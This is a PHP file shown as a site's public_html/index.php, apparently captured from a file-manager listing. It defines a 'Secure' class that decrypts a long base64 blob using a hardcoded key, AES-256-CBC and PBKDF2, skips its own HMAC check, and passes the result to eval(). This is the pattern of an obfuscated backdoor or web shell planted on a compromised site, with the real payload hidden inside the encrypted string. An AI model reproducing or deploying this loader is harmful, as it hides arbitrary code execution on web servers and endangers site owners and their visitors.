Current File : /home/itiffy/public_html/index.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);